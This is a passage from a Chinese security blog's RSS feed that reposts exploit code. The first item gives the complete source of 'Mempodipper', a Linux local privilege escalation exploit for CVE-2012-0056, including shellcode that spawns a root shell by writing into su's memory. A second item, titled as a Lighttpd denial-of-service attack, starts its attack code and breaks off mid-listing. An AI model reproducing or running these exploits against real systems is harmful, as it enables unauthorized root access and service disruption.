		<description><![CDATA[Linux 2.6.39 到 3.2.0 内核爆提权漏洞，普通用户可以通过运行特定代码获得 root 权限。<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><a onClick="copycode(code41714);" style="float:right;cursor: pointer;font-weight: normal; font-style: normal">复制内容到剪贴板</a><img src="http://www.kukafei520.net/blog/images/code.gif" style="margin:0px 2px -3px 0px;" alt="程序代码"/> 程序代码</div><div class="UBBContent" id=code41714><br/>/*<br/> * Mempodipper<br/> * by zx2c4<br/> * <br/> * Linux Local Root Exploit<br/> * <br/> * Rather than put my write up here, per usual, this time I&#39;ve put it<br/> * in a rather lengthy blog post: <a href="http://blog.zx2c4.com/749" target="_blank" rel="external">http://blog.zx2c4.com/749</a><br/> * <br/> * Enjoy.<br/> * <br/> * - zx2c4<br/> * Jan 21, 2012<br/> * <br/> * CVE-2012-0056<br/> */<br/><br/>#define _LARGEFILE64_SOURCE<br/>#define _GNU_SOURCE<br/>#include &lt;stdio.h&gt;<br/>#include &lt;string.h&gt;<br/>#include &lt;stdlib.h&gt;<br/>#include &lt;sys/types.h&gt;<br/>#include &lt;sys/stat.h&gt;<br/>#include &lt;sys/socket.h&gt;<br/>#include &lt;sys/un.h&gt;<br/>#include &lt;sys/wait.h&gt;<br/>#include &lt;sys/types.h&gt;<br/>#include &lt;sys/user.h&gt;<br/>#include &lt;sys/ptrace.h&gt;<br/>#include &lt;sys/reg.h&gt;<br/>#include &lt;fcntl.h&gt;<br/>#include &lt;unistd.h&gt;<br/>#include &lt;limits.h&gt;<br/><br/>char *prog_name;<br/><br/>int send_fd(int sock, int fd)<br/>{<br/>&#160;&#160;&#160;&#160;char buf[1];<br/>&#160;&#160;&#160;&#160;struct iovec iov;<br/>&#160;&#160;&#160;&#160;struct msghdr msg;<br/>&#160;&#160;&#160;&#160;struct cmsghdr *cmsg;<br/>&#160;&#160;&#160;&#160;int n;<br/>&#160;&#160;&#160;&#160;char cms[CMSG_SPACE(sizeof(int))];<br/><br/>&#160;&#160;&#160;&#160;buf[0] = 0;<br/>&#160;&#160;&#160;&#160;iov.iov_base = buf;<br/>&#160;&#160;&#160;&#160;iov.iov_len = 1;<br/><br/>&#160;&#160;&#160;&#160;memset(&amp;msg, 0, sizeof msg);<br/>&#160;&#160;&#160;&#160;msg.msg_iov = &amp;iov;<br/>&#160;&#160;&#160;&#160;msg.msg_iovlen = 1;<br/>&#160;&#160;&#160;&#160;msg.msg_control = (caddr_t)cms;<br/>&#160;&#160;&#160;&#160;msg.msg_controllen = CMSG_LEN(sizeof(int));<br/><br/>&#160;&#160;&#160;&#160;cmsg = CMSG_FIRSTHDR(&amp;msg);<br/>&#160;&#160;&#160;&#160;cmsg-&gt;cmsg_len = CMSG_LEN(sizeof(int));<br/>&#160;&#160;&#160;&#160;cmsg-&gt;cmsg_level = SOL_SOCKET;<br/>&#160;&#160;&#160;&#160;cmsg-&gt;cmsg_type = SCM_RIGHTS;<br/>&#160;&#160;&#160;&#160;memmove(CMSG_DATA(cmsg), &amp;fd, sizeof(int));<br/><br/>&#160;&#160;&#160;&#160;if ((n = sendmsg(sock, &amp;msg, 0)) != iov.iov_len)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return -1;<br/>&#160;&#160;&#160;&#160;close(sock);<br/>&#160;&#160;&#160;&#160;return 0;<br/>}<br/><br/>int recv_fd(int sock)<br/>{<br/>&#160;&#160;&#160;&#160;int n;<br/>&#160;&#160;&#160;&#160;int fd;<br/>&#160;&#160;&#160;&#160;char buf[1];<br/>&#160;&#160;&#160;&#160;struct iovec iov;<br/>&#160;&#160;&#160;&#160;struct msghdr msg;<br/>&#160;&#160;&#160;&#160;struct cmsghdr *cmsg;<br/>&#160;&#160;&#160;&#160;char cms[CMSG_SPACE(sizeof(int))];<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;iov.iov_base = buf;<br/>&#160;&#160;&#160;&#160;iov.iov_len = 1;<br/><br/>&#160;&#160;&#160;&#160;memset(&amp;msg, 0, sizeof msg);<br/>&#160;&#160;&#160;&#160;msg.msg_name = 0;<br/>&#160;&#160;&#160;&#160;msg.msg_namelen = 0;<br/>&#160;&#160;&#160;&#160;msg.msg_iov = &amp;iov;<br/>&#160;&#160;&#160;&#160;msg.msg_iovlen = 1;<br/><br/>&#160;&#160;&#160;&#160;msg.msg_control = (caddr_t)cms;<br/>&#160;&#160;&#160;&#160;msg.msg_controllen = sizeof cms;<br/><br/>&#160;&#160;&#160;&#160;if ((n = recvmsg(sock, &amp;msg, 0)) &lt; 0)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return -1;<br/>&#160;&#160;&#160;&#160;if (n == 0)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return -1;<br/>&#160;&#160;&#160;&#160;cmsg = CMSG_FIRSTHDR(&amp;msg);<br/>&#160;&#160;&#160;&#160;memmove(&amp;fd, CMSG_DATA(cmsg), sizeof(int));<br/>&#160;&#160;&#160;&#160;close(sock);<br/>&#160;&#160;&#160;&#160;return fd;<br/>}<br/><br/>unsigned long ptrace_address()<br/>{<br/>&#160;&#160;&#160;&#160;int fd[2];<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Creating ptrace pipe.\n&#34;);<br/>&#160;&#160;&#160;&#160;pipe2(fd, O_NONBLOCK);<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Forking ptrace child.\n&#34;);<br/>&#160;&#160;&#160;&#160;int child = fork();<br/>&#160;&#160;&#160;&#160;if (child) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;close(fd[1]);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;char buf;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Waiting for ptraced child to give output on syscalls.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;for (;;) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;wait(NULL);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if (read(fd[0], &amp;buf, 1) &gt; 0)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;break;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;ptrace(PTRACE_SYSCALL, child, NULL, NULL);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Error message written. Single stepping to find address.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;struct user_regs_struct regs;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;for (;;) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;wait(NULL);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;ptrace(PTRACE_GETREGS, child, NULL, ®s);<br/>#if defined(__i386__)<br/>#define instruction_pointer regs.eip<br/>#define upper_bound 0xb0000000<br/>#elif defined(__x86_64__)<br/>#define instruction_pointer regs.rip<br/>#define upper_bound 0x700000000000<br/>#else<br/>#error &#34;That platform is not supported.&#34;<br/>#endif<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if (instruction_pointer &lt; upper_bound) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if ((instruction &amp; 0xffff) == 0x25ff /* jmp r/m32 */)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return instruction_pointer;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;} else {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Ptrace_traceme&#39;ing process.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) &lt; 0) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;perror(&#34;[-] ptrace&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return 0;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;close(fd[0]);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;dup2(fd[1], 2);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;execl(&#34;/bin/su&#34;, &#34;su&#34;, &#34;not-a-valid-user&#34;, NULL);<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;return 0;<br/>}<br/><br/>unsigned long objdump_address()<br/>{<br/>&#160;&#160;&#160;&#160;FILE *command = popen(&#34;objdump -d /bin/su|grep &#39;&lt;exit@plt&gt;&#39;|head -n 1|cut -d &#39; &#39; -f 1|sed &#39;s/^[0]*\\([^0]*\\)/0x\\1/&#39;&#34;, &#34;r&#34;);<br/>&#160;&#160;&#160;&#160;if (!command) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;perror(&#34;[-] popen&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return 0;<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;char result[32];<br/>&#160;&#160;&#160;&#160;fgets(result, 32, command);<br/>&#160;&#160;&#160;&#160;pclose(command);<br/>&#160;&#160;&#160;&#160;return strtoul(result, NULL, 16);<br/>}<br/><br/>unsigned long find_address()<br/>{<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Ptracing su to find next instruction without reading binary.\n&#34;);<br/>&#160;&#160;&#160;&#160;unsigned long address = ptrace_address();<br/>&#160;&#160;&#160;&#160;if (!address) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[-] Ptrace failed.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Reading su binary with objdump to find exit@plt.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;address = objdump_address();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if (address == ULONG_MAX || !address) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n&#34;, prog_name, prog_name);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;exit(-1);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Resolved call address to 0x%lx.\n&#34;, address);<br/>&#160;&#160;&#160;&#160;return address;<br/>}<br/><br/>int su_padding()<br/>{<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Calculating su padding.\n&#34;);<br/>&#160;&#160;&#160;&#160;FILE *command = popen(&#34;/bin/su this-user-does-not-exist 2&gt;&amp;1&#34;, &#34;r&#34;);<br/>&#160;&#160;&#160;&#160;if (!command) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;perror(&#34;[-] popen&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;exit(1);<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;char result[256];<br/>&#160;&#160;&#160;&#160;fgets(result, 256, command);<br/>&#160;&#160;&#160;&#160;pclose(command);<br/>&#160;&#160;&#160;&#160;return strstr(result, &#34;this-user-does-not-exist&#34;) - result;<br/>}<br/><br/>int child(int sock)<br/>{<br/>&#160;&#160;&#160;&#160;char parent_mem[256];<br/>&#160;&#160;&#160;&#160;sprintf(parent_mem, &#34;/proc/%d/mem&#34;, getppid());<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Opening parent mem %s in child.\n&#34;, parent_mem);<br/>&#160;&#160;&#160;&#160;int fd = open(parent_mem, O_RDWR);<br/>&#160;&#160;&#160;&#160;if (fd &lt; 0) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;perror(&#34;[-] open&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return 1;<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Sending fd %d to parent.\n&#34;, fd);<br/>&#160;&#160;&#160;&#160;send_fd(sock, fd);<br/>&#160;&#160;&#160;&#160;return 0;<br/>}<br/><br/>int parent(unsigned long address)<br/>{<br/>&#160;&#160;&#160;&#160;int sockets[2];<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Opening socketpair.\n&#34;);<br/>&#160;&#160;&#160;&#160;if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) &lt; 0) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;perror(&#34;[-] socketpair&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return 1;<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;if (fork()) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Waiting for transferred fd in parent.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;int fd = recv_fd(sockets[1]);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Received fd at %d.\n&#34;, fd);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;if (fd &lt; 0) {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;perror(&#34;[-] recv_fd&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return 1;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Assigning fd %d to stderr.\n&#34;, fd);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;dup2(2, 15);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;dup2(fd, 2);<br/><br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;unsigned long offset = address - su_padding();<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Seeking to offset 0x%lx.\n&#34;, offset);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;lseek64(fd, offset, SEEK_SET);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;<br/>#if defined(__i386__)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;// See shellcode-32.s in this package for the source.<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;char shellcode[] =<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x80&#34;;<br/>#elif defined(__x86_64__)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;// See shellcode-64.s in this package for the source.<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;char shellcode[] =<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50&#34;<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#34;\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05&#34;;<br/>#else<br/>#error &#34;That platform is not supported.&#34;<br/>#endif<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Executing su with shellcode.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;execl(&#34;/bin/su&#34;, &#34;su&#34;, shellcode, NULL);<br/>&#160;&#160;&#160;&#160;} else {<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;char sock[32];<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;sprintf(sock, &#34;%d&#34;, sockets[0]);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;printf(&#34;[+] Executing child from child fork.\n&#34;);<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;execl(&#34;/proc/self/exe&#34;, prog_name, &#34;-c&#34;, sock, NULL);<br/>&#160;&#160;&#160;&#160;}<br/>&#160;&#160;&#160;&#160;return 0;<br/>}<br/><br/>int main(int argc, char **argv)<br/>{<br/>&#160;&#160;&#160;&#160;prog_name = argv[0];<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;if (argc &gt; 2 &amp;&amp; argv[1][0] == &#39;-&#39; &amp;&amp; argv[1][1] == &#39;c&#39;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return child(atoi(argv[2]));<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;printf(&#34;===============================\n&#34;);<br/>&#160;&#160;&#160;&#160;printf(&#34;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mempodipper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=\n&#34;);<br/>&#160;&#160;&#160;&#160;printf(&#34;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; by zx2c4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=\n&#34;);<br/>&#160;&#160;&#160;&#160;printf(&#34;=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jan 21, 2012&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=\n&#34;);<br/>&#160;&#160;&#160;&#160;printf(&#34;===============================\n\n&#34;);<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;if (argc &gt; 2 &amp;&amp; argv[1][0] == &#39;-&#39; &amp;&amp; argv[1][1] == &#39;o&#39;)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return parent(strtoul(argv[2], NULL, 16));<br/>&#160;&#160;&#160;&#160;else<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;return parent(find_address());<br/>&#160;&#160;&#160;&#160;<br/>}<br/></div></div><br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=180" border="0" alt=""/><br/><br/><span id="down_0aygbrsdlb"></span><script language="javascript" type="text/javascript">doAjax('?action=Antidown&id=181&downurl=download%2Easp%3Fid%3D181&main=%E7%82%B9%E5%87%BB%E4%B8%8B%E8%BD%BD%E6%AD%A4%E6%96%87%E4%BB%B6','down_0aygbrsdlb');</script><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=450</link>
			<title><![CDATA[Lighttpd 1.4.30 / 1.5 Denial Of Service]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Tue,27 Dec 2011 11:43:52 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=450</guid>
		<description><![CDATA[<p style="PADDING-BOTTOM: 0px; LINE-HEIGHT: 15px; MARGIN: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 5px; COLOR: rgb(149,149,149); PADDING-TOP: 0px" class="L1"><span style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: rgb(136,0,0); PADDING-TOP: 0px" class="com">攻击代码如下：</span></p>
<p style="PADDING-BOTTOM: 0px; LINE-HEIGHT: 15px; MARGIN: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 5px; COLOR: rgb(149,149,149); PADDING-TOP: 0px" class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;stdio.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;stdlib.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;string.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;netdb.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;netinet/in.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;sys/types.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;sys/socket.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#include &lt;getopt.h&gt;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#define PORT 80</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">#define SA struct sockaddr</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">char header[] =</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;GET /%s/ HTTP/1.1\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Host: %s\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept-Encoding: gzip, deflate\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Proxy-Connection: keep-alive\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Authorization: Basic &quot;;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">char header_port[] =</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;GET /%s/ HTTP/1.1\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Host: %s:%d\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;User-Agent: Mozilla/5.0 (X11; Linux i686; rv:8.0.1) Gecko/20100101 Firefox/8.0.1\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept-Encoding: gzip, deflate\r\n&quot;</p>
